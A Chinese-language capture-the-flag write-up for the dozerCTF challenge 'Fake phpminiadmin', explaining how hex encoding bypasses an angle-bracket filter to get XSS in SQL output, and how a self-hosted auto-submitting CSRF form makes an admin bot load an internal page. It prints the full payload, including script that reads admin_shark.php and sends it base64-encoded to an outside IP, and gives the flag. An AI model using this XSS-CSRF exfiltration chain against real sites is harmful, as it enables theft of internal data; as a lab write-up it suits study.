dozerCTF - Fake phpminiadmin

前言

emmm虽然标题这么说有一点标题党,但我的确从这道CTF中认识到了XSS的作用可不止盗cookie

Fake phpminiadmin

这道题开始给了一个页面可以执行sql语句。刚开始以为是sql注入之类的,但实际上在上面的一栏中有contact选项。明显是一道和xss有关的题了。

可以xss的点

那么首先要找到可以xss的点,尝试在输出sql语句输出的地方插入js语句,发现<>尖括号被过滤了,证明这个地方有鬼。

# 尝试以下语句,被阻拦
select "<script>alert(1)</script>";
# 尝试hex绕过,成功弹窗
select 0x3C7363726970743E616C6572742831293C2F7363726970743E;

接下来便是该想办法怎么样让机器人执行这里的sql。这里的sql数据使用了post,无法直接将带有弹窗数据的url直接发给机器人。
这里我想了两种方法:

  1. 利用iframe+xss截图实现。
  2. 利用CSRF进行跳转。

首先一是不行的,进行测验,iframe只会在加载完js之后才会进行加载。导致无论如何利用js截图,都只能截到一个白框。
看起来只能跳转了。

利用CSRF进行跳转

首先机器人是不会对网址进行验证的,故我们可以在自己的vps上安置一个CSRF来对进行一个跳转。
不过,在当时我先是利用xss平台来确认一下机器人的cookie什么的,发现机器人的session没有特殊信息,但referrer给了一个特殊的网址:http://127.0.0.1/admin_shark.php,看起来这个内网的连接有东西。这更加证明了我们需要csrf来进行跳转,否则同源策略会阻挡我们获取这个内网连接的源码。
这里有一个点,便是admin_shark.php在外网下也可以访问,只不过会被拦截,提示你需要在内网访问。这代表着这个内网的服务器和公网的服务器是同一个(或者是是相同的)
数据被放置在了 https://www.afkl.ml/xss.php现在应该还能看到。在当时被安放了这么一组数据:

<!DOCTYPE html>
<form action="http://127.0.0.1/sql.php" id="sql" method="post">
  <input type=text name="sql" value="select 0x3C7343724970743E76617220743D6E657720584D4C487474705265717565737428293B742E6F70656E2822474554222C2261646D696E5F736861726B2E706870222C66616C7365293B742E73656E6428293B286E657720496D616765292E7372633D22687474703A2F2F34372E39342E3233392E3139342F3F6F75743D222B62746F6128742E726573706F6E736554657874293B3C2F7343526970543E;" />
</form>
<script>
  var f = document.getElementById("sql");
  f.submit();
</script>
<h1>it works!</h1> 

本质是是构建了一个表单,下面的js会令其强制POST表单内容(PS:foxfire会弹窗询问是否提交表单,但chrome不会)
其中hex后的内容是

<sCrIpt>var t=new XMLHttpRequest();t.open("GET","admin_shark.php",false);t.send();(new Image).src="http://47.94.239.194/?out="+btoa(t.responseText);</sCRipT>
(上面是我的测试vps)

在测试vps上开启监听,提交url,静候佳音即可。

flag:Dozerctf{eed8cdc400dfd4ec85dff70a170066b7}

PS:可惜当时没有知道beef-xss,知道了这道题就有趣多了(

Comments